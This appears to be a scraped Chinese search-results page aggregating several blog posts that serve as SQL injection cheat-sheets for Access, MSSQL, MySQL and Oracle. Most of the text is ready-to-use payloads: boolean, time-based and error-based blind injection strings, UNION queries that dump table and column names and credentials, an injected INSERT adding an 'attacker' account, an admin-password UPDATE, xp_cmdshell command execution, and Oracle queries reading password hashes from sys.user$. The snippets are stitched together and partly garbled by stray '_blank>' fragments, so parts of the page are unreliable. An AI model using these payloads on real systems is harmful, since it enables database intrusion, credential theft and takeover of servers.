精华内容
下载资源
问答
  • sql注入常用语句

    2019-03-07 23:40:00
    SQL注入 1. 什么是sql注入 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 2. sql注入类型 按照注入点类型来分类 (1)数字型注入点 许多网页链接...

    SQL注入

    1. 什么是sql注入

    通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

    2. sql注入类型

    按照注入点类型来分类

    (1)数字型注入点

    许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1

    (2)字符型注入点

    网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。

    (3)搜索型注入点

    这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

    按照数据提交的方式来分类

    (1)GET 注入

    提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

    (2)POST 注入

    使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

    HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

    (4)HTTP 头部注入

    注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

    按照执行效果来分类

    (1)基于布尔的盲注

    即可以根据返回页面判断条件真假的注入。

    (2)基于时间的盲注

    即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

    (3)基于报错注入

    即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

    1. 单引号
    2. 双引号
    3. 基于数字型注入

    (4)联合查询注入

    可以使用union的情况下的注入。

     

    常用语句

    1.判断有无注入点 
    ; and 1=1 and 1=2


    2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 
    and 0<>(select count(*) from *) 
    and 0<>(select count(*) from admin) ---判断是否存在admin这张表

    3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 
    and 0<(select count(*) from admin) 
    and 1<(select count(*) from admin)

    4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 
    and 1=(select count(*) from admin where len(*)>0)-- 
    and 1=(select count(*) from admin where len(用户字段名称name)>0) 
    and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

    5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 
    and 1=(select count(*) from admin where len(*)>0) 
    and 1=(select count(*) from admin where len(name)>6) 错误 
    and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 
    and 1=(select count(*) from admin where len(name)=6) 正确

    and 1=(select count(*) from admin where len(password)>11) 正确 
    and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 
    and 1=(select count(*) from admin where len(password)=12) 正确

    6.猜解字符 
    and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 
    and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 
    就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 
    and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 
    这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

    group by users.id having 1=1-- 
    group by users.id, users.username, users.password, users.privs having 1=1-- 
    ; insert into users values( 666, attacker, foobar, 0xffff )--

    UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS

    WHERE TABLE_blank>_NAME=logintable- 
    UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS

    WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank

    >_id)- 
    UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS

    WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank

    >_id,login_blank>_name)- 
    UNION SELECT TOP 1 login_blank>_name FROM logintable- 
    UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--

    看_blank>服务器打的补丁=出错了打了SP4补丁 
    and 1=(select @@VERSION)--

    看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。 
    and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

    判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) 
    and sa=(SELECT System_blank>_user)-- 
    and user_blank>_name()=dbo-- 
    and 0<>(select user_blank>_name()--

     参考:https://www.cnblogs.com/xuthus/p/9450805.html

    转载于:https://www.cnblogs.com/ls-pankong/p/10493389.html

    展开全文
  • SQL注入常用语句

    2021-01-21 17:43:23
    判断注入点 数字型注入:id=1 and 1=1正常,id=1 and 1=2错误 字符型注入:id=1’错误,id=1’ %23或id=1’ --+正常 判断后得出该页面可以进行数字型注入 判断字段数 联合查询需要字段数相等,所以要先判断当前表...
    数字型注入:
    查询数据库版本:
    ?id=-1 union select 1,2,(select version())
    查询数据库:
    ?id=-1 union select 1,2,(schema_name from information_schema.schemata limit 0,1)
    查询表名:
    ?id=-1 union select 1,2,(table_name from information_schema.tables where table_schema='库名' limit 0,1)
    查询字段名:
    ?id=-1 union select 1,2,(column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)
    查询字段内容:
    ?id=-1 union select 1,2,(字段名 from 表名 limit 0,1)
    
    字符型注入:
    ?id=-1' union select 1,2,(select database()) #
    ?id=-1' union select 1,2,(select database()) --+
    ?id=-1' union select 1,2,(select database()) -- a(任意字符)
    
    布尔盲注:
    length()函数:返回字符串的长度
    ?id=1 and length(database())>1
    ?id=-1 or length(database())>1
    substr()函数:截取字符串,从第2位开始截取1位
    ?id=1 and substr(database(),2,1)>'k'
    left()函数:截取字符串,从左开始截取第1位
    ?id=1 and left(database(),1)>'k'
    ascii()/ord()函数:返回字符的ascii码
    ?id=1 and ascii(substr(database(),1,1))>107
    
    延时盲注:
    如果if判断正确会马上执行,如果错误则会延时5秒后执行
    ?id=1 and if(length(database())>1,1,sleep(5))
    
    报错注入:
    ?id=1 and select updatexml(1,concat(0x7e,(select database())),1)
    ?id=1 and select extractvalue(1,concat(0x7e,(select database())))
    ?id=-1 union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a
    
    常用函数:
    concat()函数:将几个字符串拼接起来,形成一个新的长字符串
    concat(0x7e,username,0x7e,password)
    concat_ws()函数:concat()函数的简化版,只写一个0x7e即可(注:0x7e是十六进制的分隔符~)
    concat_ws(0x7e,username,password)
    group_concat()函数:将对应字段的所有结果都查找并全部返回到一条记录中
    group_concat(password)
    
    展开全文
  • 【白帽子学习笔记14】SQL注入常用语句 目前网站中使用的最多的数据库要算是 ACCESS、SQL Server(MSSQL)、MySQL 这三个了,所以这里的手工注入,我就以他们三个数据库来分成三 小节,讲述在不同的数据库下不同的注入...

    【白帽子学习笔记14】SQL注入常用语句

    目前网站中使用的最多的数据库要算是 ACCESS、SQL Server(MSSQL)、MySQL 这三个了,所以这里的手工注入,我就以他们三个数据库来分成三 小节,讲述在不同的数据库下不同的注入方法。

    1、ACCESS

    验证是否有漏洞

    • http://www.xxx.com/xx.asp?id=x and 1=1
    • http://www.xxx.com/xx.asp?id=x and 1=2

    判断数据库类型

    • http://www.xxx.com/xx.asp?id=x and user>0
      ACESS数据库返回的数据库错误中一般会含有 “Microsoft JET Database”

    猜数据库表名

    猜解表名的语句为在注入点后加 上and exists (select * from 表名)或者and exists (select count from 表名)

    • 猜测数据库中有叫做Keter的表,那就输入http://www.xxx.com/xx.asp?id=x and exists (select * from Keter),如果有就返回正常,没有就有返回报错在这里插入图片描述
      一般常见的表名有:admin、a_admin、x_admin、m_admin、adminuser、admin_user、 article_admin、administrator、manager、member、memberlist、user、users、userinfo、 user_info、admin_userinfo、userlist、user_list、login、用户、密码、会员、登陆、 movie、movies、news、password、clubconfig、config、company、book、art、bbs、dv_admin
      等等。

    • 猜完表名就应该猜列名了 http://www.xxx.com/xx.asp?id=x and exists (select admin_name from admin) 把select中的*换成具体的名字即可
      一般常见的列名有:id、adminid、admin_id、adminuser、admin_user、adminuserid、 admin_userid、adminusername、admin_username、adminname、admin_name、adminpwd、 admin_pwd、adminpass、admin_pass、adminpassword、admin_password、administrator、 administrators、usr、usr_n、username、usr_name、usrpass、user_pass、password、 userpassword、user_password、pwd、userpwd、user_pwd、useradmin、user_admin、p_word、 passwd、pass_wd、yonghu、用户、用户名、mima、密码、dw、oklook等等。

    • 猜列的长度: http://www.xxx.com/xx.asp?id=x and (select top 1 len(adminname) from config)>1、>2、>3、>4

    • 猜第N行的长度:http://www.xxx.com/xx.asp?id=x and (select top N len(adminname) from config)>x

    ASP+ACCESS 的注入攻击,我们得到用户名和密码也就完成了。 如果我们要继续入侵的话,只有进入后台,看能否上传木马或利用一句话木马来得到

    2、SQL Server(MSSQL)

    确认当前数据库的用户名

    • http://www.xxx.com/xxx.asp?id=xx and user>0
      在这里插入图片描述
      虽然 and user>0 很简单,但却包含了 SQLServer 特有注入方法的精髓。让我们来看看它的含义: 首先,前面的语句是正常的,重点在 and user>0,因为 user 是 SQLServer 的一个内置变量, 它的值是当前连接的用户名,类型为 nvarchar。而这里我们拿一个 nvarchar 的值跟 int 的数的 0 比较,系统会先试图将 nvarchar 的值转成 int 型,当然,转的过程中肯定会出错, SQLServer 的出错提示是:将 nvarchar 值“abc” 转换数据类型为 int 的列时发生语法错 误,呵呵,abc 正是变量 user 的值,这样,不废吹灰之力就拿到了数据库的用户名。还有 在我们的 SQLServer 数据库里的用户 sa 是个等同 Adminstrators 权限的角色,拿到了 sa 权限,几乎肯定可以拿到主机的 Administrator 了。而我们上面的方法可以很方便的测试 出是否是用 sa 登录,如果是 sa 登录那么返回的错误提示是将”dbo”转换成 int 的列发生错误,而不是”sa”

    获取用户的数据信息

    • 暴当前表中的列:http://www.xxx.com/xxx.asp?id=xx having 1=1--
    • 暴任意表名和 列名的方法:and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1。其中N就是代表数据库中的第N个表
    • 暴任意表中的任意列:and (select top 1 col_name(object_id('表名'),N) from sysobjects)>1
    • 暴出数据库中的数据:and (select top 1 列名 from 表名 where id=N)>1

    url中带的是字符怎么办?

    • http://www.xxx.com/xxx.asp?action=value' and 1=1

    修改数据库中的数据

    • ;update 表名 set 列名='内容' where 条件 比如 http://www.xxx.com/xxx.asp?id=xx;update admin set password='123' where user name= 'Keter'

    获取数据库名和数据库版本和权限

    • 获取数据库版本:and (sel ect @@versi on)>0
    • 获取数据库名:and db_name()>0
    • 获取数据库权限:http://www.xxx.com/xxx.asp?id=xx and db_name()>0
    • 获取数据是否支持多句查询:http://www.xxx.com/xxx.asp?id=xx and (select count(1) from [sysobjects])>=0

    MSSQL的扩展功能

    • 查看服务器C盘的目录:;exec master..xp_cmd shell 'dir c:\'(XP系统)

    3、MYSQL

    PHP 与 MySQL 是黄金组合,下面就以他们来作为 MySQL 注入的平台吧

    数据库版本

    在 MySQL 版本 4(包括版本4)及以上版本新增了一个联合查询查询(UNION)的功能, 比如 SQL 语句 1 UNION SQL 语句 2,提交之后我们的 SQL 语句 1 和 SQL 语句 2 都会被执行, 通过联合查询这个字面意思也是可以理解的。正是这个功能使得 MySQL 发生 SQL 注入漏洞的 危险性大大的得到提高,利用它我们可以轻易的获取数据库中其他数据表的信息。而在版本 4 以下,确不支持这个功能,而且由于 PHP 中的 mysql_query 函数限制了只能查询一个 SQL 语句,即使你使用分号把多个 SQL 语句组合到一起嵌入 mysql_query 函数,实际上也只有第 一个 SQL 语句被提交给 MySQL,所以那个时候 MySQL 的注入并不是特别的严重,而如今确变了。

    • and ord(mid(version(),1,1))>51/* 返回正常版本大于4.0 ,返回错误版本小于4.0。

    • /*!...*/,如果返回页面是错误的话那几乎可以确定网站后台数据库为 MySQL 了,然后我们还可以进一步确认具体的版本,/*!30000%20s*/(判断版本是否小于3.0)其他的类似

    • 确认字段数目:

      • 方法1:UNION ,要求前面的 SQL 语句 1 和后面的 SQL 语句 2 中的字段数要相同,否则就会出错。我们可以提交 union select 1,1,1,1 及其类似的语句。通过不断的增 加 1 的个数,在结合返回信息可以迅速确定该查询语句前面查询的字段数目。
      • 方法2:order by 利用 order by 后加数字,MySQL 会解释成按照第几列排序,如果查询没有我们提交的数字的那么多页就会返回错误。
    • 获取当前数据库的表名:union select 字段数 from 表名 ,中间的字段数大家要注意了,它是这样表示的:假如 有三个字段,那么就应该这样:1,2,3。当然了这还是猜解表名。

    • 查询用户名和密码:union select 1,password from admin union select 1,username from admin 当然你可以加上where id = *

    • 判断是否是root权限:and ord(mid(user(),1,1))=114/*,正常的就是root权限

    展开全文
  • SQL注入常用语句功能与技巧,每句都是经典。希望对想学注入的朋友们有用。。。。。
  • Oracle SQL注入常用语句

    2017-12-13 10:41:31
    解析IPselect utl_inaddr.get_host_address('... 获取本机IP地址select utl_inaddr.get_host_address from dual; 根据IP地址反向解析主机名select utl_inaddr.get_host_name('10.80.18.241') from dual; -- list ve...

    解析IP
    select utl_inaddr.get_host_address('google.com') from dual;

    获取本机IP地址
    select utl_inaddr.get_host_address from dual;

    根据IP地址反向解析主机名
    select utl_inaddr.get_host_name('10.80.18.241') from dual;

    -- list version
    select banner from v$version where rownum=1 ; -- oracle version

    -- list user
    select user from dual; -- current user
    select username from user_users; -- current user
    select username from all_users; -- all user , the current user can see...
    select username from dba_users; -- all user , need pris

    -- list role
    select role from session_roles; -- current role

    -- list privs
    select privilege from user_sys_privs; -- privs the current user has
    select privilege from role_sys_privs; -- privs the current role has
    select privilege from session_privs; -- the all privs that current user has = user_sys_privs + role_sys_privs
    select * from dba_sys_privs; -- all user's privs , need privs

    -- list password hash
    select name, password, astatus from sys.user$; -- password hash <=10g , need privs
    select name, password, spare4 from sys.user$; -- password has 11g , need privs

    -- list database
    select global_name from global_name; -- current database
    select sys.database_name from dual; -- current database
    select name from v$database; -- current database name , need privs
    select instance_name from v$instance; -- current database name , need privs

    -- list schemas
    select distinct owner from all_tables; -- all schema

    -- list tables
    select table_name from all_tables where owner='xxx'; -- all table name

    -- list columns
    select owner,table_name,column_name from all_tab_columns where table_name='xxx';
    select owner,table_name,column_name from all_tab_cols where table_name='xxx';

    转载于:https://blog.51cto.com/duallay/2050094

    展开全文
  • 盲目sql注入,如url中有参数名为id,则输入url请求引用: http://www.exampe.com/index.php?id=1' 假设服务器查询语句为: select field1,field2,field3 from users where id='$id' 逐字符读取值的函数: ...
  • 常用Sql注入语句 常用Sql注入语句 常用Sql注入语句
  • 手工sql注入的一些常用语句,适合初学的时候看
  • sql注入总结 语句精简 类型丰富 种类齐全 值得学习 欢迎借鉴
  • SQL注入常用查询语句

    千次阅读 2018-06-23 15:50:17
    DB用户user() DB版本version()全局函数@@datadir、@@hostname @@VERSION、@@version_compile_os 当前库database()• ASCII转字符char()• 连接字符串CONCAT_WS(CHAR(32,58,32),user(),database(),version()) ...
  • SQL注入语句常用

    2019-05-20 11:40:01
    注入语句详解 注意:对于普通的get注入,如果是字符型,前加’ 后加 and ‘’=’ 拆半法 ###################################### and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,...
  • 最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema数据库结构。这里面笔者通过在数据库...
  • 常用sql注入语句

    2019-08-19 13:41:00
    首先,看看SQL注入攻击能分为以下三种类型: Inband:数据经由SQL代码注入的通道取出,这是最直接的一种攻击,通过SQL注入获取的信息直接反映到应用程序的Web页面上; Out-of-band:数据通过不同于SQL代码注入的...
  • sql注入常用语句

    千次阅读 2016-09-06 11:55:17
    1、返回的是连接的数据库名  and db_name()>0 2、作用是获取连接用户名 ...backup database 数据库名to disk='c:\inetpub\wwwroot\1.db';...4、显示SQL系统版本 and 1=(select @@VERSION) 或and 1=c
  • 判断是否存在注入 and 1=1 / and 1=2 回显页面不同(整形判断) 输入and 1=1和and 1=2后...在数据库中 1=1 和1=2 后面随便输入字符串(相当于1=1和1=2后面的查询语句),发现select 1="1dasd"时返回1正确,1="2dasd"时...
  • 手工注入常用SQL语句
  • 文章来源 渗透常用SQL注入语句大全 - 小菜希 - 博客园 简单的SQL注入——入门

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 716
精华内容 286
关键字:

sql注入常用语句